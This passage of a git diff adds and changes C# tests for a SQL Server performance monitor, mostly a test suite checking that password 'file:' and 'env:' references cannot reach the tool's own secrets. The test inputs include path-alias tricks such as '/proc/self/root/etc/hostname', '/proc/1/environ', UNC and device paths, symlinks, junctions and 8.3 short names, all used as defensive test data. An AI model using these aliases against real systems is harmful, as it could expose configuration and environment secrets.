+        Assert.Same(fresh, OversizedPlanBacklogSweep.SessionFor(new OversizedPlanBacklog.PendingPlan("query_stats", observation, 0, true), batch, () => fresh));
+        Assert.NotSame(batch, OversizedPlanBacklogSweep.SessionFor(new OversizedPlanBacklog.PendingPlan("query_stats", observation, 1, true), batch));
+
+        /* The sweep loop asks for it, rather than handing every plan the batch session. */
+        var map = CSharpMemberMap.Of(ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs"));
+        var at = map.Code.IndexOf("SessionFor(plan, scrub)", StringComparison.Ordinal);
+        Assert.True(at >= 0, "SweepServerAsync must choose each plan's session through SessionFor");
+        Assert.Equal("SweepServerAsync", CSharpMemberMap.EnclosingMember(map, at));
     }
 
     /* ---- the read surface --------------------------------------------------------------------------- */
diff --git a/Darling/Darling.Tests/OversizedPlanBacklogReadPins.cs b/Darling/Darling.Tests/OversizedPlanBacklogReadPins.cs
index 855638db4f..6f0a27396d 100644
--- a/Darling/Darling.Tests/OversizedPlanBacklogReadPins.cs
+++ b/Darling/Darling.Tests/OversizedPlanBacklogReadPins.cs
@@ -315,7 +315,7 @@ matched to what the sweep reports about it. Miss one and the listing is a table
     [Fact]
     public void TheListing_IsNotOrderedLikeTheClaim()
     {
-        /* The claim takes oldest ATTEMPT first so nothing starves, and only breaks ties by size. Ordering
+        /* The claim takes tried rows oldest ATTEMPT first (half its slots at most) and never-tried rows by size. Ordering
            the listing the same way would read as a prediction of the sweep's next picks while silently
            omitting the rows it will skip — a listing that answers a question it was not asked. Largest
            first answers the one a reader has, and the key columns in the tiebreak keep the page stable
diff --git a/Darling/Darling.Tests/OversizedPlanSweepRunRecordTests.cs b/Darling/Darling.Tests/OversizedPlanSweepRunRecordTests.cs
index 79641cf1be..cff298aa01 100644
--- a/Darling/Darling.Tests/OversizedPlanSweepRunRecordTests.cs
+++ b/Darling/Darling.Tests/OversizedPlanSweepRunRecordTests.cs
@@ -612,7 +612,10 @@ public void TheFleetAggregatesOverTheCollectionLogExcludeTheSentinel()
             .Where(t => t.Contains("v_collection_log", StringComparison.Ordinal))
             .ToList();
 
-        Assert.Equal(2, reads.Count);
+        // Three reads: the windowed newest-collection read, the older-than-the-window newest-collection read of the
+        // offline age (W1b; per server, but it carries the same guard so a sentinel id can never be answered), and
+        // the per-collector health aggregate.
+        Assert.Equal(3, reads.Count);
 
         foreach (var sql in reads)
         {
diff --git a/Darling/Darling.Tests/OverviewCollectionHealthRollupRoutingTests.cs b/Darling/Darling.Tests/OverviewCollectionHealthRollupRoutingTests.cs
index 18c4b3d609..1dcaee6da7 100644
--- a/Darling/Darling.Tests/OverviewCollectionHealthRollupRoutingTests.cs
+++ b/Darling/Darling.Tests/OverviewCollectionHealthRollupRoutingTests.cs
@@ -7,6 +7,8 @@
  */
 
 using System;
+using System.Linq;
+using System.Reflection;
 using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Darling.Viewer;
 using Xunit;
@@ -17,8 +19,9 @@ namespace Darling.Tests;
 /// #4226: the Overview loader's per-server cards, the status bar's collector-health text, and the per-server
 /// tab's permission-denied badge must all read the fleet-wide rollup-backed
 /// <see cref="ViewerDataService.GetFleetCollectionHealthByServerAsync"/>, not a raw <c>collection_log</c> scan
-/// per server (<c>ViewerDataService.GetCollectionHealthAsync</c>), a second raw fleet scan
-/// (<c>ViewerDataService.GetFleetCollectionHealthAsync</c>) every 30 s tick, or the badge's own raw
+/// per server (<c>ViewerDataService.GetCollectionHealthAsync</c>), a second raw fleet scan every 30 s tick
+/// (the viewer has no other fleet read now, see <see cref="TheViewerHasOneFleetHealthRead_TheStampedByServerRollup"/>),
+/// or the badge's own raw
 /// per-server-tab scan (<see cref="ViewerDataService.PermissionDeniedCollectorCountSql"/>) on every 1 min
 /// auto-refresh plus every tab activation. Source-text pins, deliberately: the regression this guards against
 /// COMPILES (the old reads still exist, for the Collection Health tab and for Lite's parity twin), so only
@@ -53,7 +56,31 @@ public void TheStatusBar_ReadsTheFleetByServerRollup_NotTheOldRawPair()
 
         Assert.Contains("GetFleetCollectionHealthByServerAsync", methodBody, StringComparison.Ordinal);
         Assert.DoesNotContain("GetCollectionHealthAsync(serverId.Value)", methodBody, StringComparison.Ordinal);
-        Assert.DoesNotContain("GetFleetCollectionHealthAsync()", methodBody, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #4999: every fleet health read stamps each row with the interval its collector is scheduled at on its
+    /// server, so a collector an operator moved off its shipped cadence is banded the way its own tab bands it. The
+    /// viewer once had a second fleet read that skipped the stamp and that nothing called; it was removed, and this
+    /// keeps it removed. The one fleet read the viewer has is the by-server rollup, which stamps its rows.
+    /// </summary>
+    [Fact]
+    public void TheViewerHasOneFleetHealthRead_TheStampedByServerRollup()
+    {
+        var fleetReads = typeof(ViewerDataService)
+            .GetMethods(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic)
+            .Where(m => m.Name.StartsWith("GetFleetCollectionHealth", StringComparison.Ordinal))
+            .Select(m => m.Name)
+            .ToList();
+
+        Assert.Equal(new[] { "GetFleetCollectionHealthByServerAsync" }, fleetReads);
+
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.CollectionHealth.cs");
+        var fetchStart = source.IndexOf("Task<Dictionary<int, List<CollectorHealthRow>>> FetchFleetCollectionHealthByServerAsync()", StringComparison.Ordinal);
+        Assert.True(fetchStart >= 0, "FetchFleetCollectionHealthByServerAsync has moved or been renamed — update this pin's anchor.");
+
+        var fetchEnd = source.IndexOf("\n    }", fetchStart, StringComparison.Ordinal);
+        Assert.Contains("ApplyScheduledFrequencies(", source.Substring(fetchStart, fetchEnd - fetchStart), StringComparison.Ordinal);
     }
 
     /// <summary>
diff --git a/Darling/Darling.Tests/OwnedSecretReferenceRefusalTests.cs b/Darling/Darling.Tests/OwnedSecretReferenceRefusalTests.cs
new file mode 100644
index 0000000000..6c73beb112
--- /dev/null
+++ b/Darling/Darling.Tests/OwnedSecretReferenceRefusalTests.cs
@@ -0,0 +1,547 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A server's password may be an <c>env:</c> / <c>file:</c> reference, but never one that points at Darling's own
+/// configuration or secrets. The rule lives in the shared core, so the MCP tool is covered as well as the web route.
+/// </summary>
+[Collection("darling-owned-secrets")]
+public sealed class OwnedSecretReferenceRefusalTests : IDisposable
+{
+    private readonly string _root = Path.Combine(Path.GetTempPath(), "darling-ref-" + Guid.NewGuid().ToString("N"));
+    private readonly DarlingOwnedSet _before = DarlingOwnedSecrets.Current;
+    private readonly string _owned;
+    private readonly List<string> _links = new();
+    private readonly List<string> _lockedDirectories = new();
+
+    public OwnedSecretReferenceRefusalTests()
+    {
+        Directory.CreateDirectory(Path.Combine(_root, "own"));
+        Directory.CreateDirectory(Path.Combine(_root, "other"));
+        _owned = Path.Combine(_root, "own");
+        File.WriteAllText(Path.Combine(_owned, "secret.txt"), "x");
+        DarlingOwnedSecrets.Set(new DarlingOwnedSet(new[] { _owned }, new[] { "DARLING_CONFIG" }));
+    }
+
+    public void Dispose()
+    {
+        DarlingOwnedSecrets.Set(_before);
+
+        /* A directory a test made unreadable must be readable again before it can be deleted. */
+        foreach (var dir in _lockedDirectories)
+        {
+            try
+            {
+                if (!OperatingSystem.IsWindows())
+                {
+                    File.SetUnixFileMode(dir, UnixFileMode.UserRead | UnixFileMode.UserWrite | UnixFileMode.UserExecute);
+                }
+            }
+            catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or PlatformNotSupportedException)
+            {
+                /* best effort; the recursive delete below reports nothing either */
+            }
+        }
+
+        /* Remove each link a test created, itself and not what it points at, BEFORE the recursive delete: a recursive
+           delete that walks a junction into the owned directory is refused with UnauthorizedAccessException on Windows.
+           Directory.Delete(link, recursive: false) removes the reparse point and leaves its target alone. */
+        foreach (var link in _links)
+        {
+            try
+            {
+                Directory.Delete(link, recursive: false);
+            }
+            catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+            {
+                /* best effort: the link may never have been created */
+            }
+        }
+
+        try
+        {
+            Directory.Delete(_root, true);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            /* best effort. UnauthorizedAccessException derives from SystemException, not IOException, so it has to be named. */
+        }
+    }
+
+    /// <summary>Registers a link BEFORE it is created so that Dispose removes it even if creation half-succeeds.</summary>
+    private string TrackLink(string link)
+    {
+        _links.Add(link);
+        return link;
+    }
+
+    private static string? Check(string? password) => DarlingOwnedSecrets.ReferenceRefusal(password);
+
+    private static string Body(string password) =>
+        JsonSerializer.Serialize(new[] { new { host = "sql01", auth = "SQL", username = "monitor", password } });
+
+    [Fact]
+    public void TheHostCommandLineAdd_RefusesAnOwnedFileAndAnOwnedEnvReference()
+    {
+        foreach (var pw in new[] { "file:" + Path.Combine(_owned, "secret.txt"), "env:DARLING_CONFIG" })
+        {
+            var (entries, invalid, whole) = DarlingMcpServerAdminTools.ParseRequest(Body(pw), TestKeyRings.NotReady.Status, allowSecretReferences: true);
+            Assert.Null(whole);
+            Assert.Empty(entries);
+            var r = Assert.Single(invalid);
+            Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, r.Detail);
+        }
+    }
+
+    [Fact]
+    public void TheHostCommandLineAdd_AcceptsAnUnrelatedReference_AndLeavesLiteralsAlone()
+    {
+        foreach (var pw in new[] { "file:" + Path.Combine(_root, "other", "pw"), "env:SOME_OTHER_VAR" })
+        {
+            var (entries, invalid, _) = DarlingMcpServerAdminTools.ParseRequest(Body(pw), TestKeyRings.NotReady.Status, allowSecretReferences: true);
+            Assert.Empty(invalid);
+            Assert.Single(entries);
+        }
+
+        Assert.Null(Check("hunter2"));
+        Assert.Null(Check(""));
+        Assert.Null(Check(null));
+        Assert.Null(Check("   "));
+    }
+
+    [Fact]
+    public void AnUnrelatedReference_IsAccepted()
+    {
+        Assert.Null(Check("env:SOME_OTHER_VAR"));
+        Assert.Null(Check("file:" + Path.Combine(_root, "other", "pw")));
+        Assert.Null(Check("file:" + _owned + "-sibling" + Path.DirectorySeparatorChar + "pw"));
+    }
+
+    [Fact]
+    public void TheOwnedDirectoryItselfAndEverythingUnderIt_IsRefused()
+    {
+        Assert.NotNull(Check("file:" + _owned));
+        Assert.NotNull(Check("file:" + Path.Combine(_owned, "missing", "deep.txt")));
+    }
+
+    [Fact]
+    public void EnvNames_CompareOrdinally_OnThisPlatform()
+    {
+        Assert.NotNull(Check("env:DARLING_CONFIG"));
+        Assert.Equal(OperatingSystem.IsWindows(), Check("env:darling_config") != null);
+    }
+
+    [Theory]
+    [InlineData("relative/path")]
+    [InlineData("~/secret")]
+    [InlineData("/etc/../etc/hostname")]
+    [InlineData("//server/share/x")]
+    [InlineData("\\\\server\\share\\x")]
+    [InlineData("\\\\?\\C:\\x")]
+    [InlineData("\\\\.\\C:\\x")]
+    [InlineData("C:\\x\\f.txt:stream")]
+    [InlineData("/proc/self/root/etc/hostname")]
+    [InlineData("/sys/kernel/x")]
+    public void EachAliasForm_IsRefused_WithTheOneSentence(string path)
+    {
+        Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, Check("file:" + path));
+    }
+
+    /* A link this process cannot create is a SKIP with a reason, never a pass: a bare return reads as covered. */
+    private static void CreateLinkOrSkip(string link, string target)
+    {
+        try
+        {
+            Directory.CreateSymbolicLink(link, target);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or PlatformNotSupportedException)
+        {
+            Assert.Skip("could not create a directory symbolic link here (" + ex.GetType().Name + "); Windows needs the SeCreateSymbolicLink privilege. The junction test covers the same rule without one.");
+        }
+    }
+
+    private static void AssertResolvesTo(string link, string expectedTarget)
+    {
+        var resolved = Directory.ResolveLinkTarget(link, returnFinalTarget: true);
+        Assert.NotNull(resolved);
+        Assert.Equal(
+            Path.GetFullPath(expectedTarget).TrimEnd(Path.DirectorySeparatorChar),
+            Path.GetFullPath(resolved!.FullName).TrimEnd(Path.DirectorySeparatorChar),
+            StringComparer.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void ASymlinkIntoTheOwnedDirectory_IsRefused()
+    {
+        var link = TrackLink(Path.Combine(_root, "other", "alias"));
+        CreateLinkOrSkip(link, _owned);
+        AssertResolvesTo(link, _owned);
+
+        Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, Check("file:" + Path.Combine(link, "secret.txt")));
+    }
+
+    [Fact]
+    public void AJunctionIntoTheOwnedDirectory_IsRefused()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "directory junctions exist only on Windows; they need no privilege, so this case cannot skip there.");
+        var link = TrackLink(Path.Combine(_root, "other", "junction"));
+        var psi = new System.Diagnostics.ProcessStartInfo("cmd.exe")
+        {
+            UseShellExecute = false,
+            CreateNoWindow = true,
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+        };
+        psi.ArgumentList.Add("/c");
+        psi.ArgumentList.Add("mklink");
+        psi.ArgumentList.Add("/J");
+        psi.ArgumentList.Add(link);
+        psi.ArgumentList.Add(_owned);
+        using (var proc = System.Diagnostics.Process.Start(psi)!)
+        {
+            var output = proc.StandardOutput.ReadToEnd() + proc.StandardError.ReadToEnd();
+            proc.WaitForExit();
+            Assert.True(proc.ExitCode == 0, "mklink /J failed: " + output);
+        }
+
+        Assert.True(Directory.Exists(link), "the junction was not created");
+        AssertResolvesTo(link, _owned);
+
+        Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, Check("file:" + Path.Combine(link, "secret.txt")));
+    }
+
+    /* Identity cannot be determined for two different reasons, and they must not be treated alike. The identity source
+       reports absence by returning null and every other failure by throwing. */
+    private Func<string, FileId?> IdentityThatFailsAt(string failingPath, Exception failure) => p =>
+        string.Equals(Path.GetFullPath(p).TrimEnd(Path.DirectorySeparatorChar), Path.GetFullPath(failingPath).TrimEnd(Path.DirectorySeparatorChar), StringComparison.OrdinalIgnoreCase)
+            ? throw failure
+            : FileIdentity.Of(p);
+
+    private string? CheckWith(string path, Func<string, FileId?> identityOf) =>
+        DarlingOwnedSecrets.ReferenceRefusal("file:" + path, DarlingOwnedSecrets.Current, identityOf);
+
+    [Fact]
+    public void APathThatDoesNotExist_IsAccepted_BecauseAbsenceIsNotADenial()
+    {
+        var absent = Path.Combine(_root, "other", "not-there-yet", "pw");
+
+        Assert.Null(FileIdentity.Of(absent));
+        Assert.Null(CheckWith(absent, FileIdentity.Of));
+        Assert.Null(CheckWith(absent, _ => null));
+    }
+
+    [Fact]
+    public void APathUnderAFileThatIsNotADirectory_IsAbsence_AndIsAccepted()
+    {
+        var file = Path.Combine(_root, "other", "plain.txt");
+        File.WriteAllText(file, "x");
+        var beneath = Path.Combine(file, "pw");
+
+        Assert.Null(FileIdentity.Of(beneath));
+        Assert.Null(CheckWith(beneath, FileIdentity.Of));
+    }
+
+    [Fact]
+    public void APathWhoseIdentityIsDenied_IsRefused_WithTheSameSentence()
+    {
+        var target = Path.Combine(_root, "other", "denied.txt");
+        File.WriteAllText(target, "x");
+
+        var refusal = CheckWith(target, IdentityThatFailsAt(target, new UnauthorizedAccessException()));
+
+        Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, refusal);
+    }
+
+    [Fact]
+    public void AnAncestorWhoseIdentityIsDenied_RefusesAPathThatDoesNotExist()
+    {
+        /* Nothing says the missing file is not reachable through the directory we were not allowed to look at. */
+        var ancestor = Path.Combine(_root, "other");
+        var absent = Path.Combine(ancestor, "missing", "pw");
+
+        Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, CheckWith(absent, IdentityThatFailsAt(ancestor, new UnauthorizedAccessException())));
+        Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, CheckWith(absent, IdentityThatFailsAt(ancestor, new IOException("sharing violation"))));
+    }
+
+    [Fact]
+    public void AnUnreadableOwnedPath_DoesNotRefuseAnUnrelatedReference()
+    {
+        /* The failure that matters is on the REFERENCED path. An owned path we cannot read adds no identity; the text
+           comparison still covers it, and an unrelated reference stays acceptable. */
+        var unrelated = Path.Combine(_root, "other", "pw");
+
+        Assert.Null(CheckWith(unrelated, IdentityThatFailsAt(_owned, new UnauthorizedAccessException())));
+    }
+
+    [Fact]
+    public void ARealDeniedDirectory_RefusesAReferenceBeneathIt()
+    {
+        Assert.SkipWhen(OperatingSystem.IsWindows(), "a mode-000 directory is a Unix construct; the Windows denial path is pinned through the identity seam above.");
+        var locked = Path.Combine(_root, "other", "locked");
+        Directory.CreateDirectory(locked);
+        File.WriteAllText(Path.Combine(locked, "pw"), "x");
+        _lockedDirectories.Add(locked);
+        if (!OperatingSystem.IsWindows())
+        {
+            File.SetUnixFileMode(locked, UnixFileMode.None);
+        }
+        Assert.SkipWhen(CanStatInside(locked), "this process can search a mode-000 directory (running as root), so no denial can be produced.");
+
+        Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, Check("file:" + Path.Combine(locked, "pw")));
+    }
+
+    private static bool CanStatInside(string directory)
+    {
+        try
+        {
+            return File.Exists(Path.Combine(directory, "pw"));
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            return false;
+        }
+    }
+
+    [Fact]
+    public void ASymlinkCycle_IsRefused()
+    {
+        var a = TrackLink(Path.Combine(_root, "other", "a"));
+        var b = TrackLink(Path.Combine(_root, "other", "b"));
+        CreateLinkOrSkip(a, b);
+        CreateLinkOrSkip(b, a);
+        Assert.NotNull(new DirectoryInfo(a).LinkTarget);
+        Assert.NotNull(new DirectoryInfo(b).LinkTarget);
+
+        Assert.NotNull(Check("file:" + Path.Combine(a, "x")));
+    }
+
+    [Fact]
+    public void EveryRefusal_IsOneSentence_NamingNoPathAndNoVariable()
+    {
+        var all = new[] { "file:" + _owned, "env:DARLING_CONFIG", "file:~/x", "file:/proc/1/environ" }
+            .Select(Check).Distinct().ToList();
+        var text = Assert.Single(all);
+        Assert.DoesNotContain(_owned, text, StringComparison.Ordinal);
+        Assert.DoesNotContain("DARLING_CONFIG", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EveryEnvironmentVariableTheServiceReads_IsInTheOwnedSet()
+    {
+        var repo = Path.GetFullPath(Path.Combine(Path.GetDirectoryName(ThisFile())!, ".."));
+        var missing = new List<string>();
+        foreach (var dir in new[] { "PerformanceMonitor.Darling.Service", "PerformanceMonitor.Darling.Storage" })
+        {
+            foreach (var file in Directory.EnumerateFiles(Path.Combine(repo, dir), "*.cs", SearchOption.AllDirectories)
+                .Where(f => !f.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal)))
+            {
+                var text = File.ReadAllText(file);
+                foreach (Match m in Regex.Matches(text, "GetEnvironmentVariable\\(\\s*\"([^\"]+)\""))
+                {
+                    if (!DarlingOwnedSecrets.ServiceEnvNames.Contains(m.Groups[1].Value))
+                    {
+                        missing.Add(m.Groups[1].Value);
+                    }
+                }
+
+                foreach (Match m in Regex.Matches(text, "GetEnvironmentVariable\\(\\s*([A-Z][A-Za-z0-9_]*)\\s*[,)]"))
+                {
+                    var lit = Regex.Match(text, "\\b" + m.Groups[1].Value + "\\s*=\\s*\"([^\"]+)\"");
+                    if (lit.Success && !DarlingOwnedSecrets.ServiceEnvNames.Contains(lit.Groups[1].Value))
+                    {
+                        missing.Add(lit.Groups[1].Value);
+                    }
+                }
+            }
+        }
+
+        Assert.Empty(missing.Distinct());
+    }
+
+    private static string ThisFile([CallerFilePath] string path = "") => path;
+
+    [Fact]
+    public void AnUnpopulatedSet_RefusesEveryReference_AndLeavesLiteralsAlone()
+    {
+        DarlingOwnedSecrets.Set(null!);
+
+        Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, Check("file:" + Path.Combine(_root, "other", "pw")));
+        Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, Check("env:SOME_OTHER_VAR"));
+        Assert.Null(Check("hunter2"));
+        Assert.Null(Check(null));
+    }
+
+    [Fact]
+    public void ASetThatWasPopulatedAndOwnsNothing_IsNotTheUnpopulatedSet()
+    {
+        DarlingOwnedSecrets.Set(DarlingOwnedSet.Empty);
+
+        Assert.Null(Check("env:SOME_OTHER_VAR"));
+    }
+
+    private static bool TryHardLink(string link, string target)
+    {
+        try
+        {
+            var psi = OperatingSystem.IsWindows()
+                ? new System.Diagnostics.ProcessStartInfo("cmd.exe", $"/c mklink /H \"{link}\" \"{target}\"")
+                : new System.Diagnostics.ProcessStartInfo("ln", $"\"{target}\" \"{link}\"");
+            psi.RedirectStandardOutput = true;
+            psi.RedirectStandardError = true;
+            using var p = System.Diagnostics.Process.Start(psi)!;
+            p.WaitForExit();
+            return p.ExitCode == 0 && File.Exists(link);
+        }
+        catch (Exception ex) when (ex is System.ComponentModel.Win32Exception or InvalidOperationException)
+        {
+            return false;
+        }
+    }
+
+    [Fact]
+    public void AHardLinkToAnOwnedFile_PlacedOutsideTheOwnedDirectory_IsAccepted()
+    {
+        /* Deliberate scope decision: the check compares identity of the owned files themselves, not of every file under
+           the owned directories (thousands in the database data directory, on an interactive click). Making a hard link
+           needs local read access to the target, which already defeats this control, so the scan bought nothing. */
+        var link = Path.Combine(_root, "other", "linked.txt");
+        Assert.True(TryHardLink(link, Path.Combine(_owned, "secret.txt")), "could not create a hard link on this machine");
+
+        Assert.Null(Check("file:" + link));
+    }
+
+    [Fact]
+    public void ACaseVariantOfAnOwnedPath_IsRefused_WhereTheVolumeIgnoresCase()
+    {
+        var owned = Path.Combine(_owned, "secret.txt");
+        var variant = Path.Combine(_root.ToUpperInvariant(), "OWN", "SECRET.TXT");
+        Assert.SkipUnless(File.Exists(variant), "a case-sensitive volume: the variant is a different (missing) file, so there is nothing to refuse.");
+
+        Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, Check("file:" + variant));
+        Assert.NotNull(owned);
+    }
+
+    [Fact]
+    public void AnAliasWhoseTextDiffersButWhoseIdentityMatches_IsRefused_LikeAWindowsShortName()
+    {
+        /* PROGRA~3 and "Program Files" name the same directory on Windows but share no text; that cannot be created on
+           this machine, so the comparison is exercised with a stand-in identity source. */
+        /* Every path is put through Path.GetFullPath, as DarlingOwnedSecrets.RealPath does, so the stand-in identity map is
+           keyed on what the code looks up on this platform: on Windows "/data/x" is rooted to the current drive. */
+        static string Key(string p) => Path.GetFullPath(p).Replace('\\', '/').TrimEnd('/');
+        var comparer = OperatingSystem.IsWindows() ? StringComparer.OrdinalIgnoreCase : StringComparer.Ordinal;
+        var ownedDir = Path.GetFullPath("/data/Program Files/darling");
+        var shortDir = Key("/data/PROGRA~3/darling");
+        var longDir = Key("/data/Program Files/darling");
+        var owned = new DarlingOwnedSet(new[] { ownedDir }, Array.Empty<string>());
+        FileId? Identity(string p) =>
+            comparer.Equals(Key(p), longDir) || comparer.Equals(Key(p), shortDir) ? new FileId(7, 42) : null;
+
+        Assert.Equal(
+            DarlingOwnedSecrets.ReferenceRefusalText,
+            DarlingOwnedSecrets.ReferenceRefusal("file:/data/PROGRA~3/darling/secret.txt", owned, Identity));
+        Assert.Null(DarlingOwnedSecrets.ReferenceRefusal("file:/data/PROGRA~4/other/secret.txt", owned, Identity));
+    }
+
+    [System.Runtime.InteropServices.DllImport("kernel32.dll", CharSet = System.Runtime.InteropServices.CharSet.Unicode, SetLastError = true)]
+    private static extern Microsoft.Win32.SafeHandles.SafeFileHandle CreateFileW(string name, uint access, uint share, IntPtr sec, uint disposition, uint flags, IntPtr template);
+
+    [System.Runtime.InteropServices.DllImport("kernel32.dll", CharSet = System.Runtime.InteropServices.CharSet.Unicode, SetLastError = true)]
+    [return: System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.Bool)]
+    private static extern bool SetFileShortNameW(Microsoft.Win32.SafeHandles.SafeFileHandle h, string shortName);
+
+    [System.Runtime.InteropServices.DllImport("kernel32.dll", CharSet = System.Runtime.InteropServices.CharSet.Unicode, SetLastError = true)]
+    private static extern uint GetShortPathNameW(string longPath, System.Text.StringBuilder buf, uint size);
+
+    private static bool TrySetShortNameWithApi(string file, string shortName)
+    {
+        const uint genericRead = 0x80000000, genericWrite = 0x40000000, delete = 0x00010000, shareAll = 7, openExisting = 3, backupSemantics = 0x02000000;
+        using var h = CreateFileW(file, genericRead | genericWrite | delete, shareAll, IntPtr.Zero, openExisting, backupSemantics, IntPtr.Zero);
+        return !h.IsInvalid && SetFileShortNameW(h, shortName);
+    }
+
+    private static bool TrySetShortNameWithFsutil(string file, string shortName)
+    {
+        try
+        {
+            var psi = new System.Diagnostics.ProcessStartInfo("fsutil.exe", $"file setshortname \"{file}\" {shortName}")
+            {
+                RedirectStandardOutput = true,
+                RedirectStandardError = true,
+            };
+            using var p = System.Diagnostics.Process.Start(psi)!;
+            p.StandardOutput.ReadToEnd();
+            p.StandardError.ReadToEnd();
+            p.WaitForExit();
+            return p.ExitCode == 0;
+        }
+        catch (Exception ex) when (ex is System.ComponentModel.Win32Exception or InvalidOperationException)
+        {
+            return false;
+        }
+    }
+
+    [Fact]
+    public void AFileGivenAnExplicit83ShortName_IsRefusedByItsShortPath_AsWellAsItsLongPath()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "8.3 short names exist only on Windows (NTFS); the identity comparison is covered by the stand-in test elsewhere.");
+
+        const string shortName = "LONGFI~9.TXT";
+        var dir = Path.Combine(_root, "shortname");
+        Directory.CreateDirectory(dir);
+        try
+        {
+            var longFile = Path.Combine(dir, "a-deliberately-long-secret-name.txt");
+            File.WriteAllText(longFile, "x");
+
+            /* Create the short name ourselves: the volume's auto-generation setting cannot be read without elevation,
+               and a test that relied on it would prove nothing. */
+            var made = TrySetShortNameWithApi(longFile, shortName) || TrySetShortNameWithFsutil(longFile, shortName);
+            Assert.True(made, "could not give the file an 8.3 short name (SetFileShortNameW and fsutil both failed); this test cannot prove anything here");
+
+            var buf = new System.Text.StringBuilder(520);
+            var n = GetShortPathNameW(longFile, buf, (uint)buf.Capacity);
+            Assert.True(n > 0 && n < buf.Capacity, "GetShortPathName failed");
+            Assert.Equal(shortName, Path.GetFileName(buf.ToString()), ignoreCase: true);
+
+            var shortPath = Path.Combine(dir, shortName);
+            Assert.NotEqual(longFile, shortPath);
+            Assert.True(File.Exists(shortPath), "the short path does not reach the file");
+
+            /* The owned entry is the file itself, so only identity (not text or a directory prefix) can catch the alias. */
+            DarlingOwnedSecrets.Set(new DarlingOwnedSet(new[] { longFile }, Array.Empty<string>()));
+
+            Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, Check("file:" + longFile));
+            Assert.Equal(DarlingOwnedSecrets.ReferenceRefusalText, Check("file:" + shortPath));
+        }
+        finally
+        {
+            try
+            {
+                Directory.Delete(dir, true);
+            }
+            catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+            {
+                /* best effort; Dispose removes the root */
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/PagerDutyAutoResolveRungTests.cs b/Darling/Darling.Tests/PagerDutyAutoResolveRungTests.cs
new file mode 100644
index 0000000000..a51f729ccf
--- /dev/null
+++ b/Darling/Darling.Tests/PagerDutyAutoResolveRungTests.cs
@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Reflection;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// V166: the PagerDuty auto-resolve opt-in on <c>config.config_notification</c> — when set, the closing
+/// edge of an edge-type alert pair (<see cref="AlertFamily.RecoveryPairs"/>: a connection's "Server
+/// Restored", a replica's "AG Replica Reconnected") is sent to PagerDuty as a <c>resolve</c> on the same
+/// dedup_key its firing edge's trigger opened, closing the incident; when unset (the default) the closing
+/// edge is an info-severity trigger and the incident stays open, so the tool never auto-resolves a
+/// third-party incident unasked.
+///
+/// <para>The rung is numbered 166, the ladder's next free version above the top it landed under (165, the
+/// query-stats hour ledger): the ladder is applied and stamped in version order, so the only wrong number
+/// is a COLLISION with one already in the ladder.</para>
+///
+/// <para>This file carried the "I am the top rung" claims that moved off
+/// <see cref="QueryStatsHourLedgerTests"/> (V164) when this rung landed; they moved on to
+/// <see cref="PlanRegressionDailyRungTests"/> (V168) when that rung landed above it.</para>
+/// </summary>
+public sealed class PagerDutyAutoResolveRungTests
+{
+    private const int RungVersion = 166;
+    private const int PreviousVersion = 165;
+
+    /// <summary>This rung's sentinel ordinal in the viewer probe — the newest, so the last argument.</summary>
+    private const int ProbeOrdinal = 141;
+
+    private const string ResolveColumn = "pagerduty_auto_resolve";
+
+    /* ---- the rung ------------------------------------------------------------------------------------ */
+
+    [Fact]
+    public void TheRungIsRegisteredInADenseLadder_BelowTheCurrentTop()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        Assert.Equal(
+            "pagerduty-auto-resolve",
+            PgMigrations.Scripts.Single(s => s.Version == RungVersion).Name);
+
